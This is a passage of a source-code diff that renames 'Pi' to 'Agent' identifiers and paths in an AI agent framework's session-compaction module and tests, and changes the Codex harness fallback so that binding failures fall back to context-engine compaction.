@@ describe("compactEmbeddedPiSessionDirect hooks", () => { }), ); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -990,7 +993,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); try { - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -1336,7 +1339,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); }); -describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { +describe("compactEmbeddedAgentSession hooks (ownsCompaction engine)", () => { beforeEach(() => { hookRunner.hasHooks.mockReset(); hookRunner.runBeforeCompaction.mockReset(); @@ -1362,7 +1365,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { sessionAgentId: "lossless-agent", }); - await compactEmbeddedPiSession( + await compactEmbeddedAgentSession( wrappedCompactionArgs({ config: { agents: { @@ -1406,7 +1409,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { it("fires before_compaction with sentinel -1 and after_compaction on success", async () => { hookRunner.hasHooks.mockReturnValue(true); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ messageChannel: "telegram", }), @@ -1453,7 +1456,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }, } as never); - const result = await compactEmbeddedPiSession(wrappedCompactionArgs()); + const result = await compactEmbeddedAgentSession(wrappedCompactionArgs()); expect(result.ok).toBe(true); expectRecordFields(mockCallArg(hookRunner.runAfterCompaction), { @@ -1472,7 +1475,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { getMemorySearchManagerMock.mockResolvedValue({ manager: { sync } }); try { - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ sessionFile: ` ${TEST_SESSION_FILE} `, config: compactionConfig("await"), @@ -1506,7 +1509,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { maintain, } as never); - const result = await compactEmbeddedPiSession(wrappedCompactionArgs()); + const result = await compactEmbeddedAgentSession(wrappedCompactionArgs()); expect(result.ok).toBe(true); const runtimeContext = ( @@ -1521,7 +1524,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }); it("resolves the effective compaction model before manual engine-owned compaction", async () => { - await compactEmbeddedPiSession( + await compactEmbeddedAgentSession( wrappedCompactionArgs({ config: { agents: { @@ -1557,7 +1560,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { it("clamps caller context token budget before queued engine-owned compaction", async () => { resolveContextWindowInfoMock.mockReturnValueOnce({ tokens: 32_000 }); - await compactEmbeddedPiSession( + await compactEmbeddedAgentSession( wrappedCompactionArgs({ contextTokenBudget: 64_000, config: { @@ -1596,7 +1599,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }, }); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ provider: "openai-codex", model: "gpt-5.4", @@ -1638,7 +1641,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { throw new Error("scheduler offline"); }); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ trigger: "budget", deferOwningContextEngineCompaction: true, @@ -1654,7 +1657,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { expect(contextEngineCompactMock).not.toHaveBeenCalled(); }); - it("does not fall back to context-engine compaction for Codex native binding failures", async () => { + it("falls back to context-engine compaction for Codex native binding failures", async () => { maybeCompactAgentHarnessSessionMock.mockResolvedValueOnce({ ok: false, compacted: false, @@ -1662,7 +1665,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { failure: { reason: "missing_thread_binding" }, }); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ provider: "openai-codex", model: "gpt-5.4", @@ -1671,11 +1674,11 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }), ); - expect(result.ok).toBe(false); - expect(result.compacted).toBe(false); - expect(result.reason).toBe("no codex app-server thread binding"); + expect(result.ok).toBe(true); + expect(result.compacted).toBe(true); + expect(result.result?.summary).toBe("engine-summary"); expect(maybeCompactAgentHarnessSessionMock).toHaveBeenCalledTimes(1); - expect(contextEngineCompactMock).not.toHaveBeenCalled(); + expect(contextEngineCompactMock).toHaveBeenCalledTimes(1); }); it("does not fire after_compaction when compaction fails", async () => { @@ -1689,7 +1692,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { result: undefined, }); - const result = await compactEmbeddedPiSession(wrappedCompactionArgs()); + const result = await compactEmbeddedAgentSession(wrappedCompactionArgs()); expect(result.ok).toBe(false); expect(hookRunner.runBeforeCompaction).toHaveBeenCalledTimes(1); @@ -1704,7 +1707,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { // instead of throwing a raw rejection at callers that only read result.ok. contextEngineCompactMock.mockRejectedValue(new Error("Compaction timed out after 900000ms")); - const result = await compactEmbeddedPiSession(wrappedCompactionArgs()); + const result = await compactEmbeddedAgentSession(wrappedCompactionArgs()); expect(result.ok).toBe(false); expect(result.compacted).toBe(false); @@ -1715,7 +1718,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { it("threads the caller abort signal into the engine compact() call", async () => { const controller = new AbortController(); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ abortSignal: controller.signal }), ); @@ -1735,7 +1738,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }); try { - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ config: compactionConfig("await"), }), @@ -1776,7 +1779,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { }, } as never); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ config: { agents: { @@ -1823,7 +1826,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { sessionFile: TEST_SESSION_FILE, }, } as never); - const result = await compactEmbeddedPiSession( + const result = await compactEmbeddedAgentSession( wrappedCompactionArgs({ config: { agents: { @@ -1851,7 +1854,7 @@ describe("compactEmbeddedPiSession hooks (ownsCompaction engine)", () => { hookRunner.hasHooks.mockReturnValue(true); hookRunner.runBeforeCompaction.mockRejectedValue(new Error("hook boom")); - const result = await compactEmbeddedPiSession(wrappedCompactionArgs()); + const result = await compactEmbeddedAgentSession(wrappedCompactionArgs()); expect(result.ok).toBe(true); expect(result.compacted).toBe(true); diff --git a/src/agents/pi-embedded-runner/compact.queued.ts b/src/agents/embedded-agent-runner/compact.queued.ts similarity index 93% rename from src/agents/pi-embedded-runner/compact.queued.ts rename to src/agents/embedded-agent-runner/compact.queued.ts index 16a45416ace..fcc40ba33f4 100644 --- a/src/agents/pi-embedded-runner/compact.queued.ts +++ b/src/agents/embedded-agent-runner/compact.queued.ts @@ -27,7 +27,7 @@ import { import { resolveContextConfigProviderForRuntime } from "../openai-codex-routing.js"; import { ensureRuntimePluginsLoaded } from "../runtime-plugins.js"; import { DEFERRED_CONTEXT_ENGINE_COMPACTION_REASON } from "./compact-reasons.js"; -import type { CompactEmbeddedPiSessionParams } from "./compact.types.js"; +import type { CompactEmbeddedAgentSessionParams } from "./compact.types.js"; import { asCompactionHookRunner, runPostCompactionSideEffects } from "./compaction-hooks.js"; import { buildEmbeddedCompactionRuntimeContext, @@ -45,19 +45,14 @@ import { resolveContextEngineCapabilities } from "./context-engine-capabilities. import { runContextEngineMaintenance } from "./context-engine-maintenance.js"; import { resolveGlobalLane, resolveSessionLane } from "./lanes.js"; import { log } from "./logger.js"; -import { readPiModelContextTokens } from "./model-context-tokens.js"; +import { readAgentModelContextTokens } from "./model-context-tokens.js"; import { resolveModelAsync } from "./model.js"; -import type { EmbeddedPiCompactResult } from "./types.js"; +import type { EmbeddedAgentCompactResult } from "./types.js"; import { normalizeContextTokenBudget } from "./utils.js"; function shouldFallbackAfterHarnessCompaction( - result: EmbeddedPiCompactResult | undefined, - harnessPolicyRuntime: string | undefined, - explicitHarnessId: string | undefined, + result: EmbeddedAgentCompactResult | undefined, ): boolean { - if (harnessPolicyRuntime === "codex" || explicitHarnessId === "codex") { - return false; - } return ( result?.ok === false && (result.failure?.reason === "missing_thread_binding" || @@ -69,7 +64,7 @@ const DEFERRED_CONTEXT_ENGINE_COMPACTION_SCHEDULE_FAILURE_REASON = "failed to schedule background context-engine maintenance"; function shouldDeferOwningContextEngineBudgetCompaction(params: { - compactParams: CompactEmbeddedPiSessionParams; + compactParams: CompactEmbeddedAgentSessionParams; contextEngine: ContextEngine; }): boolean { // Request-time budget compaction for context-engine-owned transcripts can @@ -96,10 +91,10 @@ async function disposeContextEngine(contextEngine: ContextEngine): Promise } async function deferOwningContextEngineBudgetCompaction(params: { - compactParams: CompactEmbeddedPiSessionParams; + compactParams: CompactEmbeddedAgentSessionParams; contextEngine: ContextEngine; contextEngineRuntimeContext: ContextEngineRuntimeContext; -}): Promise { +}): Promise { let deferredScheduled = false; let deferredScheduleFailure: unknown; try { @@ -155,11 +150,11 @@ async function deferOwningContextEngineBudgetCompaction(params: { /** * Compacts a session with lane queueing (session lane + global lane). * Use this from outside a lane context. If already inside a lane, use - * `compactEmbeddedPiSessionDirect` to avoid deadlocks. + * `compactEmbeddedAgentSessionDirect` to avoid deadlocks. */ -export async function compactEmbeddedPiSession( - params: CompactEmbeddedPiSessionParams, -): Promise { +export async function compactEmbeddedAgentSession( + params: CompactEmbeddedAgentSessionParams, +): Promise { ensureRuntimePluginsLoaded({ config: params.config, workspaceDir: params.workspaceDir, @@ -207,10 +202,10 @@ export async function compactEmbeddedPiSession( cfg: params.config, provider: resolveContextConfigProviderForRuntime({ provider: ceProvider, - runtimeId: ceHarnessPolicy.runtime, + runtimeId: params.agentHarnessId ?? ceHarnessPolicy.runtime, }), modelId: ceModelId, - modelContextTokens: readPiModelContextTokens(ceModel), + modelContextTokens: readAgentModelContextTokens(ceModel), modelContextWindow: ceRuntimeModel?.contextWindow, defaultTokens: DEFAULT_CONTEXT_TOKENS, }).tokens, @@ -226,13 +221,6 @@ export async function compactEmbeddedPiSession( contextTokenBudget, contextEnginePluginId: resolveContextEngineOwnerPluginId(contextEngine), }); - const harnessPolicy = resolveAgentHarnessPolicy({ - provider: params.provider, - modelId: params.model, - config: params.config, - agentId: agentIds.sessionAgentId, - sessionKey: params.sessionKey, - }); const harnessResult = await maybeCompactAgentHarnessSession({ ...params, contextEngine, @@ -240,13 +228,7 @@ export async function compactEmbeddedPiSession( contextEngineRuntimeContext, }); if (harnessResult) { - if ( - !shouldFallbackAfterHarnessCompaction( - harnessResult, - harnessPolicy.runtime, - params.agentHarnessId, - ) - ) { + if (!shouldFallbackAfterHarnessCompaction(harnessResult)) { await contextEngine.dispose?.(); return harnessResult; } @@ -276,7 +258,7 @@ export async function compactEmbeddedPiSession( let checkpointSnapshotRetained = false; try { // When the context engine owns compaction, its compact() implementation - // bypasses compactEmbeddedPiSessionDirect (which fires the hooks internally). + // bypasses compactEmbeddedAgentSessionDirect (which fires the hooks internally). // Fire before_compaction / after_compaction hooks here so plugin subscribers // are notified regardless of which engine is active. const engineOwnsCompaction = contextEngine.info.ownsCompaction === true; @@ -487,7 +469,7 @@ export async function compactEmbeddedPiSession( } function buildCompactionContextEngineRuntimeContext(params: { - params: CompactEmbeddedPiSessionParams; + params: CompactEmbeddedAgentSessionParams; agentDir: string; contextEnginePluginId?: string; contextTokenBudget?: number; diff --git a/src/agents/embedded-agent-runner/compact.runtime.ts b/src/agents/embedded-agent-runner/compact.runtime.ts new file mode 100644 index 00000000000..8a1fb14fd6e --- /dev/null +++ b/src/agents/embedded-agent-runner/compact.runtime.ts @@ -0,0 +1,15 @@ +import { createLazyImportLoader } from "../../shared/lazy-promise.js"; +import type { CompactEmbeddedAgentSessionDirect } from "./compact.runtime.types.js"; + +const compactRuntimeLoader = createLazyImportLoader(() => import("./compact.js")); + +function loadCompactRuntime() { + return compactRuntimeLoader.load(); +} + +export async function compactEmbeddedAgentSessionDirect( + ...args: Parameters +): ReturnType { + const { compactEmbeddedAgentSessionDirect } = await loadCompactRuntime(); + return compactEmbeddedAgentSessionDirect(...args); +} diff --git a/src/agents/embedded-agent-runner/compact.runtime.types.ts b/src/agents/embedded-agent-runner/compact.runtime.types.ts new file mode 100644 index 00000000000..07824d6863a --- /dev/null +++ b/src/agents/embedded-agent-runner/compact.runtime.types.ts @@ -0,0 +1,6 @@ +import type { CompactEmbeddedAgentSessionParams } from "./compact.types.js"; +import type { EmbeddedAgentCompactResult } from "./types.js"; + +export type CompactEmbeddedAgentSessionDirect = ( + params: CompactEmbeddedAgentSessionParams, +) => Promise; diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/embedded-agent-runner/compact.ts similarity index 94% rename from src/agents/pi-embedded-runner/compact.ts rename to src/agents/embedded-agent-runner/compact.ts index fe244b3262b..fb599b1bf2c 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/embedded-agent-runner/compact.ts @@ -1,11 +1,5 @@ import fs from "node:fs/promises"; import os from "node:os"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { - createAgentSession, - estimateTokens, - SessionManager, -} from "@earendil-works/pi-coding-agent"; import { isAcpRuntimeSpawnAvailable } from "../../acp/runtime/availability.js"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; import { resolveAgentModelFallbackValues } from "../../config/model-input.js"; @@ -34,11 +28,24 @@ import { isCronSessionKey, isSubagentSessionKey } from "../../routing/session-ke import { resolveUserPath } from "../../utils.js"; import { normalizeMessageChannel } from "../../utils/message-channel.js"; import { isReasoningTagProvider } from "../../utils/provider-utils.js"; +import { createBundleLspToolRuntime } from "../agent-bundle-lsp-runtime.js"; +import { createBundleMcpToolRuntime } from "../agent-bundle-mcp-tools.js"; +import { + consumeCompactionSafeguardCancelReason, + setCompactionSafeguardCancelReason, +} from "../agent-hooks/compaction-safeguard-runtime.js"; +import { createPreparedEmbeddedAgentSettingsManager } from "../agent-project-settings.js"; import { resolveAgentDir, resolveRunModelFallbacksOverride, resolveSessionAgentIds, } from "../agent-scope.js"; +import { + applyAgentAutoCompactionGuard, + applyAgentCompactionSettingsFromConfig, + isSilentOverflowProneModel, +} from "../agent-settings.js"; +import { createOpenClawCodingTools, resolveProcessToolScopeKey } from "../agent-tools.js"; import { listActiveProcessSessionReferences } from "../bash-process-references.js"; import { makeBootstrapWarn, @@ -58,6 +65,8 @@ import { resolveContextWindowInfo } from "../context-window-guard.js"; import { formatUserTime, resolveUserTimeFormat, resolveUserTimezone } from "../date-time.js"; import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; import { resolveOpenClawReferencePaths } from "../docs-path.js"; +import { ensureSessionHeader } from "../embedded-agent-helpers.js"; +import { pickFallbackThinkingLevel } from "../embedded-agent-helpers.js"; import { coerceToFailoverError, describeFailoverError } from "../failover-error.js"; import { ensureSelectedAgentHarnessPlugin } from "../harness/runtime-plugin.js"; import { resolveAgentHarnessPolicy } from "../harness/selection.js"; @@ -72,25 +81,7 @@ import { import { isFallbackSummaryError, runWithModelFallback } from "../model-fallback.js"; import { supportsModelTools } from "../model-tool-support.js"; import { ensureOpenClawModelsJson } from "../models-config.js"; -import { - resolveContextConfigProviderForRuntime, - resolveOpenAICompactionRuntimeProvider, -} from "../openai-codex-routing.js"; -import { createBundleLspToolRuntime } from "../pi-bundle-lsp-runtime.js"; -import { createBundleMcpToolRuntime } from "../pi-bundle-mcp-tools.js"; -import { ensureSessionHeader } from "../pi-embedded-helpers.js"; -import { pickFallbackThinkingLevel } from "../pi-embedded-helpers.js"; -import { - consumeCompactionSafeguardCancelReason, - setCompactionSafeguardCancelReason, -} from "../pi-hooks/compaction-safeguard-runtime.js"; -import { createPreparedEmbeddedPiSettingsManager } from "../pi-project-settings.js"; -import { - applyPiAutoCompactionGuard, - applyPiCompactionSettingsFromConfig, - isSilentOverflowProneModel, -} from "../pi-settings.js"; -import { createOpenClawCodingTools, resolveProcessToolScopeKey } from "../pi-tools.js"; +import { resolveContextConfigProviderForRuntime } from "../openai-codex-routing.js"; import { wrapStreamFnTextTransforms } from "../plugin-text-transforms.js"; import { resolveAgentPromptSurfaceForSessionKey } from "../prompt-surface.js"; import { registerProviderStreamForModel } from "../provider-stream.js"; @@ -98,6 +89,7 @@ import { collectRuntimeChannelCapabilities } from "../runtime-capabilities.js"; import { buildAgentRuntimePlan } from "../runtime-plan/build.js"; import type { AgentRuntimePlan } from "../runtime-plan/types.js"; import { ensureRuntimePluginsLoaded } from "../runtime-plugins.js"; +import type { AgentMessage } from "../runtime/index.js"; import { resolveSandboxContext } from "../sandbox.js"; import { repairSessionFileIfNeeded } from "../session-file-repair.js"; import { guardSessionManager } from "../session-tool-result-guard-wrapper.js"; @@ -107,6 +99,7 @@ import { resolveSessionLockMaxHoldFromTimeout, resolveSessionWriteLockOptions, } from "../session-write-lock.js"; +import { createAgentSession, estimateTokens, SessionManager } from "../sessions/index.js"; import { detectRuntimeShell } from "../shell-utils.js"; import { applySkillEnvOverrides, @@ -119,7 +112,10 @@ import { formatUnknownCompactionReasonDetail, resolveCompactionFailureReason, } from "./compact-reasons.js"; -import type { CompactEmbeddedPiSessionParams, CompactionMessageMetrics } from "./compact.types.js"; +import type { + CompactEmbeddedAgentSessionParams, + CompactionMessageMetrics, +} from "./compact.types.js"; import { dedupeDuplicateUserMessagesForCompaction } from "./compaction-duplicate-user-messages.js"; import { asCompactionHookRunner, @@ -146,10 +142,10 @@ import { getHistoryLimitFromSessionKey, limitHistoryTurns } from "./history.js"; import { log } from "./logger.js"; import { hardenManualCompactionBoundary } from "./manual-compaction-boundary.js"; import { buildEmbeddedMessageActionDiscoveryInput } from "./message-action-discovery-input.js"; -import { readPiModelContextTokens } from "./model-context-tokens.js"; +import { readAgentModelContextTokens } from "./model-context-tokens.js"; import { resolveModelAsync } from "./model.js"; import { sanitizeSessionHistory, validateReplayTurns } from "./replay-history.js"; -import { createEmbeddedPiResourceLoader } from "./resource-loader.js"; +import { createEmbeddedAgentResourceLoader } from "./resource-loader.js"; import { buildEmbeddedSandboxInfo } from "./sandbox-info.js"; import { prewarmSessionFile, trackSessionManagerAccess } from "./session-manager-cache.js"; import { resolveEmbeddedRunSkillEntries } from "./skills-runtime.js"; @@ -169,10 +165,10 @@ import { } from "./tool-name-allowlist.js"; import { splitSdkTools } from "./tool-split.js"; import { readTranscriptFileState } from "./transcript-file-state.js"; -import type { EmbeddedPiCompactResult } from "./types.js"; +import type { EmbeddedAgentCompactResult } from "./types.js"; import { mapThinkingLevel, normalizeContextTokenBudget } from "./utils.js"; import { flushPendingToolResultsAfterIdle } from "./wait-for-idle-before-flush.js"; -export type { CompactEmbeddedPiSessionParams } from "./compact.types.js"; +export type { CompactEmbeddedAgentSessionParams } from "./compact.types.js"; function hasRealConversationContent( msg: AgentMessage, @@ -360,12 +356,12 @@ function containsRealConversationMessages(messages: AgentMessage[]): boolean { ); } -function hasExplicitCompactionModel(params: CompactEmbeddedPiSessionParams): boolean { +function hasExplicitCompactionModel(params: CompactEmbeddedAgentSessionParams): boolean { return Boolean(params.config?.agents?.defaults?.compaction?.model?.trim()); } function resolveCompactionFallbacksOverride( - params: CompactEmbeddedPiSessionParams, + params: CompactEmbeddedAgentSessionParams, ): string[] | undefined { return ( params.modelFallbacksOverride ?? @@ -376,14 +372,14 @@ function resolveCompactionFallbacksOverride( ); } -function hasCompactionModelFallbackCandidates(params: CompactEmbeddedPiSessionParams): boolean { +function hasCompactionModelFallbackCandidates(params: CompactEmbeddedAgentSessionParams): boolean { const fallbacksOverride = resolveCompactionFallbacksOverride(params); const defaultFallbacks = resolveAgentModelFallbackValues(params.config?.agents?.defaults?.model); return (fallbacksOverride ?? defaultFallbacks).length > 0; } function classifyCompactionFallbackResult( - result: EmbeddedPiCompactResult, + result: EmbeddedAgentCompactResult, provider: string, model: string, ) { @@ -402,7 +398,7 @@ function classifyCompactionFallbackResult( return failoverError ? { error: failoverError } : null; } -function fallbackFailureToCompactionResult(err: unknown): EmbeddedPiCompactResult { +function fallbackFailureToCompactionResult(err: unknown): EmbeddedAgentCompactResult { const reason = isFallbackSummaryError(err) ? err.message : formatErrorMessage(err); return { ok: false, @@ -415,11 +411,11 @@ function fallbackFailureToCompactionResult(err: unknown): EmbeddedPiCompactResul * Core compaction logic without lane queueing. * Use this when already inside a session/global lane to avoid deadlocks. */ -export async function compactEmbeddedPiSessionDirect( - params: CompactEmbeddedPiSessionParams, -): Promise { +export async function compactEmbeddedAgentSessionDirect( + params: CompactEmbeddedAgentSessionParams, +): Promise { if (hasExplicitCompactionModel(params) || !hasCompactionModelFallbackCandidates(params)) { - return await compactEmbeddedPiSessionDirectOnce(params); + return await compactEmbeddedAgentSessionDirectOnce(params); } const resolvedCompactionTarget = resolveEmbeddedCompactionTarget({ config: params.config, @@ -439,7 +435,7 @@ export async function compactEmbeddedPiSessionDirect( }).sessionAgentId; const fallbackSessionKey = params.sandboxSessionKey ?? params.sessionKey ?? params.sessionId; try { - const fallbackResult = await runWithModelFallback({ + const fallbackResult = await runWithModelFallback({ cfg: params.config, provider: primaryProvider, model: primaryModel, @@ -465,7 +461,7 @@ export async function compactEmbeddedPiSessionDirect( const preservesPrimaryAuth = provider === primaryProvider || provider === requestedPrimaryProvider; const authProfileId = preservesPrimaryAuth ? params.authProfileId : undefined; - return await compactEmbeddedPiSessionDirectOnce({ + return await compactEmbeddedAgentSessionDirectOnce({ ...params, provider, model, @@ -479,9 +475,9 @@ export async function compactEmbeddedPiSessionDirect( } } -async function compactEmbeddedPiSessionDirectOnce( - params: CompactEmbeddedPiSessionParams, -): Promise { +async function compactEmbeddedAgentSessionDirectOnce( + params: CompactEmbeddedAgentSessionParams, +): Promise { const startedAt = Date.now(); const diagId = params.diagId?.trim() || createCompactionDiagId(); const trigger = params.trigger ?? "manual"; @@ -504,32 +500,13 @@ async function compactEmbeddedPiSessionDirectOnce( }); // Keep the configured provider for harness policy, while auth/model loading below can // route OpenAI compaction through Codex OAuth when that runtime owns the session credentials. - const modelConfigProvider = resolvedCompactionTarget.provider ?? DEFAULT_PROVIDER; + const provider = resolvedCompactionTarget.provider ?? DEFAULT_PROVIDER; + const runtimeProvider = resolvedCompactionTarget.runtimeProvider ?? provider; const modelId = resolvedCompactionTarget.model ?? DEFAULT_MODEL; const authProfileId = resolvedCompactionTarget.authProfileId; - const earlyAgentIds = resolveSessionAgentIds({ - sessionKey: params.sessionKey, - config: params.config, - }); - const runtimeHarnessPolicy = resolveAgentHarnessPolicy({ - provider: modelConfigProvider, - modelId, - config: params.config, - agentId: earlyAgentIds.sessionAgentId, - sessionKey: params.sessionKey, - }); - const selectedHarnessRuntime = params.agentHarnessId ?? runtimeHarnessPolicy.runtime; - const provider = resolveOpenAICompactionRuntimeProvider({ - provider: modelConfigProvider, - harnessRuntime: runtimeHarnessPolicy.runtime, - agentHarnessId: params.agentHarnessId, - authProfileId, - config: params.config, - workspaceDir: resolvedWorkspace, - }); let thinkLevel: ThinkLevel = params.thinkLevel ?? "off"; const attemptedThinking = new Set(); - const fail = (reason: string, err?: unknown): EmbeddedPiCompactResult => { + const fail = (reason: string, err?: unknown): EmbeddedAgentCompactResult => { const failureReason = classifyCompactionReason(reason); const failure = err ? describeFailoverError(err) : undefined; const detail = @@ -555,19 +532,23 @@ async function compactEmbeddedPiSessionDirectOnce( : undefined, }; }; + const earlyAgentIds = resolveSessionAgentIds({ + sessionKey: params.sessionKey, + config: params.config, + }); const agentDir = params.agentDir ?? resolveAgentDir(params.config ?? {}, earlyAgentIds.sessionAgentId); await ensureOpenClawModelsJson(params.config, agentDir, { workspaceDir: resolvedWorkspace, }); const { model, error, authStorage, modelRegistry } = await resolveModelAsync( - provider, + runtimeProvider, modelId, agentDir, params.config, ); if (!model) { - const reason = error ?? `Unknown model: ${provider}/${modelId}`; + const reason = error ?? `Unknown model: ${runtimeProvider}/${modelId}`; return fail(reason); } let runtimeModel = model; @@ -639,7 +620,10 @@ async function compactEmbeddedPiSessionDirectOnce( sessionId: params.sessionId, cwd: effectiveWorkspace, }); - const effectiveSkillAgentId = earlyAgentIds.sessionAgentId; + const { sessionAgentId: effectiveSkillAgentId } = resolveSessionAgentIds({ + sessionKey: params.sessionKey, + config: params.config, + }); let restoreSkillEnv: (() => void) | undefined; let compactionSessionManager: unknown = null; @@ -688,17 +672,24 @@ async function compactEmbeddedPiSessionDirectOnce( warn: (message) => log.warn(message), }), }); - // Apply contextTokens cap to model so pi-coding-agent's auto-compaction + // Apply contextTokens cap to model so session runtime's auto-compaction // threshold uses the effective limit, not the native context window. const runtimeModelWithContext = runtimeModel as ProviderRuntimeModel; + const runtimeHarnessPolicy = resolveAgentHarnessPolicy({ + provider, + modelId, + config: params.config, + agentId: effectiveSkillAgentId, + sessionKey: params.sessionKey, + }); const ctxInfo = resolveContextWindowInfo({ cfg: params.config, provider: resolveContextConfigProviderForRuntime({ - provider: modelConfigProvider, - runtimeId: selectedHarnessRuntime, + provider, + runtimeId: params.agentHarnessId ?? runtimeHarnessPolicy.runtime, }), modelId, - modelContextTokens: readPiModelContextTokens(runtimeModel), + modelContextTokens: readAgentModelContextTokens(runtimeModel), modelContextWindow: runtimeModelWithContext.contextWindow, defaultTokens: DEFAULT_CONTEXT_TOKENS, }); @@ -732,7 +723,7 @@ async function compactEmbeddedPiSessionDirectOnce( model: effectiveModel, modelApi: effectiveModel.api, harnessId: params.agentHarnessId, - harnessRuntime: selectedHarnessRuntime, + harnessRuntime: runtimeHarnessPolicy.runtime, authProfileProvider: authProfileId?.split(":", 1)[0], sessionAuthProfileId: authProfileId, config: params.config, @@ -1042,7 +1033,7 @@ async function compactEmbeddedPiSessionDirectOnce( }); compactionSessionManager = sessionManager; trackSessionManagerAccess(params.sessionFile); - const settingsManager = createPreparedEmbeddedPiSettingsManager({ + const settingsManager = createPreparedEmbeddedAgentSettingsManager({ cwd: effectiveWorkspace, agentDir, cfg: params.config, @@ -1058,12 +1049,11 @@ async function compactEmbeddedPiSessionDirectOnce( const extensionFactories = buildEmbeddedExtensionFactories({ cfg: params.config, sessionManager, - workspaceDir: effectiveWorkspace, provider, modelId, model, }); - const resourceLoader = createEmbeddedPiResourceLoader({ + const resourceLoader = createEmbeddedAgentResourceLoader({ cwd: resolvedWorkspace, agentDir, settingsManager, @@ -1071,11 +1061,11 @@ async function compactEmbeddedPiSessionDirectOnce( }); await resourceLoader.reload(); // DefaultResourceLoader.reload() rehydrates settings from disk and can drop OpenClaw - // compaction overrides applied in createPreparedEmbeddedPiSettingsManager — same - // rehydration also restores Pi's auto-compaction (openclaw#75799), so re-apply + // compaction overrides applied in createPreparedEmbeddedAgentSettingsManager — same + // rehydration also restores OpenClaw runtime's auto-compaction (openclaw#75799), so re-apply // both guards. effectiveModel.baseUrl matches the surrounding scope so // auth-profile-injected baseUrls reach the endpoint-class detector. - applyPiCompactionSettingsFromConfig({ + applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: params.config, contextTokenBudget, @@ -1083,7 +1073,7 @@ async function compactEmbeddedPiSessionDirectOnce( // contextEngineInfo is intentionally omitted: this guard runs inside the // compaction LLM session, which is not the user-facing agent session and // has no associated context engine. - applyPiAutoCompactionGuard({ + applyAgentAutoCompactionGuard({ settingsManager, silentOverflowProneProvider: isSilentOverflowProneModel({ provider, @@ -1105,7 +1095,7 @@ async function compactEmbeddedPiSessionDirectOnce( channelId: params.currentChannelId, }, }); - // Pi treats `tools` as a name allowlist during session creation. Pass the + // The session runtime treats `tools` as a name allowlist during session creation. Pass the // exact OpenClaw-managed registrations so custom tools survive startup. const sessionToolAllowlist = toSessionToolAllowlist(collectRegisteredToolNames(customTools)); diff --git a/src/agents/pi-embedded-runner/compact.types.ts b/src/agents/embedded-agent-runner/compact.types.ts similarity index 98% rename from src/agents/pi-embedded-runner/compact.types.ts rename to src/agents/embedded-agent-runner/compact.types.ts index add0e8fa7f7..605b0eea2d3 100644 --- a/src/agents/pi-embedded-runner/compact.types.ts +++ b/src/agents/embedded-agent-runner/compact.types.ts @@ -7,7 +7,7 @@ import type { ExecElevatedDefaults } from "../bash-tools.exec-types.js"; import type { AgentRuntimePlan } from "../runtime-plan/types.js"; import type { SkillSnapshot } from "../skills.js"; -export type CompactEmbeddedPiSessionParams = { +export type CompactEmbeddedAgentSessionParams = { sessionId: string; runId?: string; sessionKey?: string; diff --git a/src/agents/pi-embedded-runner/compaction-duplicate-user-messages.test.ts b/src/agents/embedded-agent-runner/compaction-duplicate-user-messages.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/compaction-duplicate-user-messages.test.ts rename to src/agents/embedded-agent-runner/compaction-duplicate-user-messages.test.ts diff --git a/src/agents/pi-embedded-runner/compaction-duplicate-user-messages.ts b/src/agents/embedded-agent-runner/compaction-duplicate-user-messages.ts similarity index 100% rename from src/agents/pi-embedded-runner/compaction-duplicate-user-messages.ts rename to src/agents/embedded-agent-runner/compaction-duplicate-user-messages.ts diff --git a/src/agents/pi-embedded-runner/compaction-hooks.ts b/src/agents/embedded-agent-runner/compaction-hooks.ts similarity index 99% rename from src/agents/pi-embedded-runner/compaction-hooks.ts rename to 